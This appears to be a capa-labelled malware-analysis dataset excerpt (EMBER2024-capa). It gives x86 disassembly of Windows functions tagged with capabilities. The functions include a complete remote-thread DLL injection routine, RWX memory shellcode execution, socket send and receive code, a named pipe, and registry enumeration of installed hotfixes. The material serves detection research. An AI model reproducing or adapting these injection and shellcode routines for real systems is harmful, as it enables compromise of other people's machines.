joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6e901735
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x6e901868
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._CreateFileA_28
sub esp, 0x1c
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x6e9018cb
mov dword [esp], str.Open_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6e90198d
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x6e901900
mov dword [esp], str.Get_file_size_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6e90198d
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6e90192a
mov dword [esp], str.Allocate_memory_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6e90198d
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], 0
lea edx, [ebp - 0x18]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x6e901971
mov dword [esp], str.Read_file_error_
call sym._printf
mov eax, 0xffffffff
jmp 0x6e90198d
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
add eax, edx
mov byte [eax], 0
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x6e901afd
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x6e901ec0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6e90603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6e906034]
sub esp, 4
test ebx, ebx
je 0x6e901f0b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6e901f04
test esi, esi
je 0x6e901f04
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6e901ee0
mov dword [esp], 0x6e90603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret
Function at 0x6e9020f0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6e904178
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6e902140
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6e902218
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6e90217e
cmp eax, 4
jne 0x6e9021a0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6e90218e
cmp edx, 4
je 0x6e90218e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6e9020f0
Function at 0x10001140
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x246c]
test eax, eax
je 0x100011a0
push 0
push eax
push dword [esi + 0x2468]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x10001181
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x100011a0
cmp eax, 0x2714
je 0x100011a0
or eax, 0xffffffff
jmp 0x100011a2
sub dword [esi + 0x246c], eax
mov ecx, dword [esi + 0x246c]
mov esi, dword [esi + 0x2468]
push ecx
add eax, esi
push eax
push esi
call fcn.10013b00
add esp, 0xc
xor eax, eax
pop esi
pop ebp
ret

Function at 0x1000135f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
xor edi, edi
push edi
push dword [esi + 0x12]
push dword [esi + 0xe]
push dword [esi + 0xa]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100013ae
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push dword [esi + 0xa]
call dword [sym.imp.WS2_32.dll_closesocket]
or dword [esi + 0xa], 0xffffffff
push 2
push esi
push dword [ebp + 8]
mov dword [esi + 0x12], edi
call fcn.10001261
xor ecx, ecx
add esp, 0xc
test eax, eax
setns cl
lea eax, [ecx - 1]
jmp 0x10001407
sub dword [esi + 0x12], eax
mov ecx, dword [esi + 0xe]
mov edx, dword [esi + 0x12]
push edx
add eax, ecx
push eax
push ecx
call fcn.10013b00
mov al, byte [esi + 0x20]
add esp, 0xc
test al, 0x20
je 0x100013ed
mov ecx, dword [esi + 0x16]
shr ecx, 2
cmp dword [esi + 0x12], ecx
ja 0x100013ed
push edi
push edi
push dword [esi + 6]
and al, 0xdf
push 7
push dword [ebp + 8]
mov byte [esi + 0x20], al
call fcn.1000107b
add esp, 0x14
test byte [esi + 0x20], 4
je 0x10001405
cmp dword [esi + 0x12], edi
jne 0x10001405
push edi
push esi
push dword [ebp + 8]
call fcn.10001261
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebp
ret
Function at 0x10001496
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 0x2464]
xor eax, eax
xor edx, edx
push edi
mov edi, 0x20000
cmp ecx, 0x1fff6
ja 0x10001504
mov edx, edi
sub edx, ecx
mov eax, 0x100a
cmp edx, eax
ja 0x100014c4
mov eax, edx
push 0
push eax
mov eax, dword [esi + 0x2460]
add eax, ecx
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jne 0x100014e5
or eax, 0xffffffff
jmp 0x10001573
cmp eax, 0xffffffff
jne 0x10001502
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2714
je 0x100014fe
cmp eax, 0x2733
jne 0x100014dd
xor eax, eax
jmp 0x10001573
mov edx, eax
mov ecx, dword [esi + 0x2464]
add edx, ecx
cmp edx, edi
jbe 0x1000151c
mov dword [esi + 0x2464], 4
jmp 0x10001524
add ecx, eax
mov dword [esi + 0x2464], ecx
mov edi, dword [esi + 0x2460]
push esi
push edi
call fcn.100011e2
pop ecx
pop ecx
test eax, eax
je 0x10001570
js 0x10001573
push esi
call dword [ebp + 0xc]
pop ecx
test eax, eax
js 0x10001577
mov eax, dword [edi + 6]
sub dword [esi + 0x2464], eax
mov ecx, dword [esi + 0x2464]
mov eax, dword [esi + 0x2460]
push ecx
mov ecx, dword [edi + 6]
add ecx, eax
push ecx
push eax
call fcn.10013b00
add esp, 0xc
cmp dword [esi + 0x2464], 0
ja 0x10001524
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
ret
push 0xfffffffffffffffd
pop eax
jmp 0x10001573

Function at 0x10002561
Capabilities:
Terminate thread

Disassembly:
cmp dword [0x10037914], 0
je 0x100025b1
mov eax, dword [0x10037900]
test eax, eax
je 0x100025b1
push eax
mov dword [0x10037910], 1
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [0x10037914]
push 0x4e20
push dword [eax]
call dword [0x1003aae0]
test eax, eax
je 0x100025b1
mov eax, dword [0x10037914]
push 1
push dword [eax]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x10037914]
and dword [eax], 0
ret

Function at 0x100026ec
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [esi + 0xa]
mov dword [ebp - 4], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
push 4
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x74]
push eax
mov dword [ebp - 0x78], 0x1000005
call fcn.10013ac0
push 2
lea eax, [ebp - 0x12]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.10013ac0
push 0xa
lea eax, [ebp - 0x78]
push eax
push dword [esi + 6]
push 4
push dword [ebp + 8]
call fcn.1000107b
add esp, 0x2c
mov byte [esi + 0x20], 2
xor eax, eax
pop esi
leave
ret
Function at 0x10002ecb
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x14]
push esi
push eax
mov dword [ebp - 4], 0xffffffe1
call fcn.10014080
lea eax, [ebp - 0xc]
push eax
call fcn.10014080
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xc]
push 1
mov dword [ebp - 0x18], eax
push 0x10
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
call fcn.10006fc0
mov esi, eax
add esp, 0x18
test esi, esi
jne 0x10002f21
push 0xffffffffffffffe0
pop eax
jmp 0x10002f9b
push 0x3e8
push dword [esi]
call dword [0x1003aae0]
test eax, eax
je 0x10002f5e
cmp eax, 0xffffffff
je 0x10002f77
lea eax, [ebp - 0x14]
push eax
call fcn.10014080
mov eax, dword [ebp - 8]
pop ecx
mov ecx, dword [ebp - 0xc]
add ecx, 0xf0
adc eax, 0
cmp dword [ebp - 0x10], eax
jg 0x10002f7e
jl 0x10002f21
cmp dword [ebp - 0x14], ecx
jae 0x10002f7e
jmp 0x10002f21
lea eax, [ebp - 4]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
jne 0x10002f7e
mov dword [ebp - 4], 0xffffffdf
jmp 0x10002f7e
mov dword [ebp - 4], 0xffffffde
cmp dword [ebp - 4], 0xffffffe1
jne 0x10002f8e
push 0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 1
push esi
call fcn.10006f12
mov eax, dword [ebp - 4]
pop ecx
pop ecx
pop esi
leave
ret

Function at 0x10003148
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edi, edi
jmp 0x100031a0
lea eax, [ebp - 8]
push eax
call fcn.10014080
mov eax, dword [0x10037944]
pop ecx
mov ecx, dword [0x10037940]
add ecx, 0x3840
adc eax, edi
cmp eax, dword [ebp - 4]
jg 0x10003279
jl 0x10003184
cmp ecx, dword [ebp - 8]
jae 0x10003279
push edi
push dword [0x10037934]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
je 0x100031b2
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push dword [0x1003791c]
call fcn.10018890
pop ecx
pop ecx
test eax, eax
js 0x10003153
push esi
push 0x10037940
call fcn.10014080
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
pop ecx
push 2
push edi
push edi
push 0x10037934
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x10
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.10013ba0
mov eax, dword [0x10037948]
push 0x31
mov dword [ebp - 0x18], eax
call fcn.10015b10
add esp, 0x10
test eax, eax
jne 0x1000320a
call fcn.100188f0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
push 0x10002c4d
push eax
call fcn.10002f9e
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
jl 0x10003246
call fcn.100088f6
push eax
call sub.WS2_32.dll_inet_ntoa
push eax
push 0x27
call fcn.10015af0
push 0x10038b44
push edi
call fcn.10015c00
add esp, 0x10
call fcn.10007294
cmp dword [ebp - 0x14], edi
je 0x10003255
lea eax, [ebp - 0x14]
push eax
call fcn.10018a40
pop ecx
push dword [0x10037934]
call dword [0x1003aa30]
push dword [0x1003791c]
mov dword [0x10037934], edi
call fcn.100188d0
pop ecx
mov eax, esi
pop esi
pop edi
leave
ret
xor eax, eax
jmp 0x10003276
Function at 0x1000327d
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edi, edi
jmp 0x100032cd
lea eax, [ebp - 8]
push eax
call fcn.10014080
mov eax, dword [0x1003792c]
pop ecx
mov ecx, dword [0x10037928]
add ecx, 0xe10
adc eax, edi
cmp eax, dword [ebp - 4]
jg 0x1000330f
jl 0x100032b1
cmp ecx, dword [ebp - 8]
jae 0x1000330f
push edi
push dword [0x10037930]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
je 0x100032df
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push dword [0x10037918]
call fcn.10018890
pop ecx
pop ecx
test eax, eax
js 0x10003288
push esi
push 0x10
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.10013ba0
mov eax, dword [0x10037948]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.10019030
add esp, 0x14
mov dword [ebp - 0x10], eax
cmp eax, edi
jne 0x10003317
or esi, 0xffffffff
jmp 0x1000337c
push 0xfffffffffffffffe
pop eax
jmp 0x100033a9
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 2
push edi
push edi
push 0x10037930
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0x10037928
call fcn.10014080
lea eax, [ebp - 0x18]
mov dword [esp], 0x10002b82
push eax
call fcn.10002f9e
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
jl 0x1000337c
call fcn.100088f6
push eax
call sub.WS2_32.dll_inet_ntoa
push eax
push 0x27
call fcn.10015af0
push 0x10038b44
push edi
call fcn.10015c00
add esp, 0x10
push dword [0x10037930]
call dword [0x1003aa30]
push dword [0x10037918]
mov dword [0x10037930], edi
call fcn.100188d0
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.10013990
add esp, 0xc
mov eax, esi
pop esi
pop edi
leave
ret
Function at 0x10005564
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
push 0x10038b44
push str..pipe_ssp
lea eax, [ebp - 0x10c]
push 0x100
push eax
call fcn.10013c30
mov esi, 0x80000
push esi
call fcn.10013960
xor edi, edi
add esp, 0x14
mov dword [0x10037988], eax
cmp eax, edi
jne 0x100055a8
push 0xfffffffffffffff5
pop eax
jmp 0x10005616
lea eax, [ebp - 0xc]
push eax
call fcn.1001ddb0
pop ecx
test eax, eax
jns 0x100055b9
mov dword [ebp - 0xc], edi
xor eax, eax
cmp eax, dword [ebp - 0xc]
lea ecx, [ebp - 0xc]
sbb eax, eax
and eax, ecx
push eax
push edi
push esi
push esi
push 0xff
push 6
push 0x80003
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x1003a980], eax
cmp eax, 0xffffffff
jne 0x100055f6
mov dword [0x1003a980], edi
push 0xfffffffffffffffe
jmp 0x100055a5
push eax
call fcn.1001dab0
push edi
push edi
push edi
push 0x100053ab
call fcn.10006fc0
add esp, 0x14
neg eax
sbb eax, eax
and eax, 4
add eax, 0xfffffffd
pop edi
pop esi
leave
ret

Function at 0x10005a48
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x1003a97c]
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
add esi, esi
push dword [eax + esi*8]
lea eax, [ebp - 0x20]
push str.p_08x
push 0x20
push eax
call fcn.10013c30
lea eax, [ebp - 0x20]
push eax
call fcn.1001f820
add esp, 0x14
test eax, eax
je 0x10005ab4
mov eax, dword [0x1003a97c]
push 0x2710
push dword [eax + esi*8 + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10005aaa
cmp eax, 0x102
mov eax, dword [0x1003a97c]
push 1
push dword [eax + esi*8 + 8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [0x1003a97c]
and dword [eax + esi*8 + 4], 0
xor eax, eax
pop esi
leave
ret

Function at 0x10006692
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push esi
jne 0x100066ee
call fcn.10013940
push 3
call fcn.10015080
pop ecx
test eax, eax
jns 0x100066b1
xor eax, eax
jmp 0x100066f1
xor esi, esi
cmp dword [ebp + 0x10], esi
je 0x100066ee
push 2
push dword [ebp + 0x10]
push dword [ebp + 8]
call fcn.1001ea30
add esp, 0xc
test eax, eax
je 0x100066ad
call fcn.10015770
call fcn.10019160
lea eax, [ebp + 0x10]
push eax
push esi
push esi
push 0x10006383
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10038a88], eax
xor eax, eax
inc eax
pop esi
pop ebp
ret 0xc
Function at 0x10006c0a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
push esi
push edi
push dword [0x1003ac08]
lea eax, [ebp - 0x21c]
xor esi, esi
push 0xfe
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call fcn.10013c30
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push 0x20019
push esi
lea eax, [ebp - 0x21c]
push eax
mov edi, reloc.WS2_32.dll_bind
push edi
call dword [0x1003aac8]
test eax, eax
je 0x10006c60
or eax, 0xffffffff
jmp 0x10006e19
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x10006c86
push 0xfffffffffffffffe
pop eax
jmp 0x10006e19
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], esi
je 0x10006e10
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x31c]
push eax
mov eax, dword [ebp - 0xc]
dec eax
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x18], 0xff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x10006e07
push esi
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x21c]
push eax
push 0x100
lea eax, [ebp - 0x11c]
push eax
push 0x1002a570
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], esi
call fcn.10016ff0
push esi
push str.Publisher
lea eax, [ebp - 0x11c]
push eax
push edi
call fcn.1001c360
push esi
mov dword [ebp - 8], eax
push str.DisplayName
lea eax, [ebp - 0x11c]
push eax
push edi
call fcn.1001c360
add esp, 0x38
mov dword [ebp - 4], eax
cmp dword [ebp - 8], esi
je 0x10006d7d
cmp eax, esi
je 0x10006d7d
push str.Microsoft
push dword [ebp - 8]
call fcn.10013dd0
pop ecx
pop ecx
test eax, eax
je 0x10006d7d
push str.Update
push dword [ebp - 4]
call fcn.10016b80
pop ecx
pop ecx
test eax, eax
jne 0x10006d61
push str.Hotfix
push dword [ebp - 4]
call fcn.10016b80
pop ecx
pop ecx
test eax, eax
je 0x10006d7d
lea eax, [ebp - 8]
push esi
push eax
call fcn.10013990
lea eax, [ebp - 4]
push esi
push eax
call fcn.10013990
add esp, 0x10
jmp 0x10006e07
push esi
push str.DisplayVersion
lea eax, [ebp - 0x11c]
push eax
push edi
call fcn.1001c360
add esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 4], esi
je 0x10006dda
cmp eax, esi
jne 0x10006da4
mov eax, 0x1002a3af
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x51c]
push 0x1002a5f4
push 0x200
push eax
call fcn.10013c30
lea eax, [ebp - 0x51c]
push eax
push dword [ebp + 8]
call fcn.10019300
lea eax, [ebp - 4]
push esi
push eax
call fcn.10013990
add esp, 0x24
cmp dword [ebp - 0x14], esi
je 0x10006deb
lea eax, [ebp - 0x14]
push esi
push eax
call fcn.10013990
pop ecx
pop ecx
cmp dword [ebp - 8], esi
je 0x10006dfc
lea eax, [ebp - 8]
push esi
push eax
call fcn.10013990
pop ecx
pop ecx
push esi
call ebx
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [ebp - 0xc]
jne 0x10006c96
push dword [ebp - 0x10]
call ebx
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
ret
Function at 0x10006fc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0x7530
push dword [0x100379c4]
xor edi, edi
call fcn.10018890
pop ecx
pop ecx
test eax, eax
jns 0x10006fe4
xor eax, eax
jmp 0x1000714c
push ebx
mov dword [ebp - 4], edi
xor ebx, ebx
mov eax, dword [0x100379c0]
mov eax, dword [ebx + eax]
cmp eax, edi
je 0x10007011
push eax
call fcn.10006ef8
pop ecx
test eax, eax
jne 0x1000701b
mov eax, dword [0x100379c0]
add eax, ebx
push edi
push eax
call fcn.10006f12
pop ecx
pop ecx
mov eax, dword [0x100379c0]
cmp dword [ebx + eax], edi
je 0x1000702e
inc dword [ebp - 4]
add ebx, 0x20
cmp ebx, 0x1000
jb 0x10006fea
jmp 0x1000713d
push esi
mov esi, dword [ebp - 4]
shl esi, 5
cmp dword [ebp + 0xc], edi
je 0x10007077
mov ebx, dword [ebp + 0x10]
push ebx
call fcn.10013960
pop ecx
mov ecx, dword [0x100379c0]
mov dword [esi + ecx + 0xc], eax
mov eax, dword [0x100379c0]
mov eax, dword [esi + eax + 0xc]
cmp eax, edi
je 0x1000713c
push ebx
push dword [ebp + 0xc]
push eax
call fcn.10013ac0
mov eax, dword [0x100379c0]
add esp, 0xc
mov dword [esi + eax + 0x10], ebx
jmp 0x10007084
mov dword [esi + eax + 0xc], edi
mov eax, dword [0x100379c0]
mov dword [esi + eax + 0x10], edi
mov eax, dword [0x100379c0]
mov ecx, dword [ebp + 8]
mov dword [esi + eax + 8], ecx
mov eax, dword [0x100379c0]
mov ecx, dword [ebp + 0x14]
push 1
push edi
mov dword [esi + eax + 0x14], ecx
call fcn.10018810
pop ecx
pop ecx
mov ecx, dword [0x100379c0]
mov dword [esi + ecx + 0x1c], eax
mov eax, dword [0x100379c0]
add eax, esi
lea ecx, [eax + 4]
push ecx
push edi
push eax
push 0x10006f78
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x100379c0]
mov dword [esi + ecx], eax
mov eax, dword [0x100379c0]
mov ecx, dword [eax + esi]
cmp ecx, edi
jne 0x10007116
push dword [eax + esi + 0x1c]
call dword [0x1003aa30]
mov eax, dword [0x100379c0]
lea ecx, [eax + esi + 0xc]
cmp dword [ecx], edi
je 0x10007102
push dword [eax + esi + 0x10]
push ecx
call fcn.10013990
pop ecx
pop ecx
add esi, dword [0x100379c0]
push 0x20
push edi
push esi
call fcn.10013ba0
add esp, 0xc
jmp 0x1000713c
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x100379c0]
push dword [esi + eax + 0x1c]
inc dword [0x100379bc]
call fcn.100188d0
mov eax, dword [0x100379c0]
pop ecx
lea edi, [esi + eax]
pop esi
push dword [0x100379c4]
call fcn.100188d0
pop ecx
mov eax, edi
pop ebx
pop edi
leave
ret

Function at 0x1000714f
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp esi, 0x7f
ja 0x1000719e
mov eax, dword [0x100379c0]
shl esi, 5
mov eax, dword [esi + eax]
test eax, eax
jne 0x1000716f
push 0xfffffffffffffffe
pop eax
jmp 0x100071a1
push eax
call fcn.10006ef8
pop ecx
test eax, eax
je 0x1000718a
mov eax, dword [0x100379c0]
push 0
push dword [esi + eax]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
add esi, dword [0x100379c0]
push 1
push esi
call fcn.10006f12
pop ecx
pop ecx
xor eax, eax
jmp 0x100071a1
or eax, 0xffffffff
pop esi
pop ebp
ret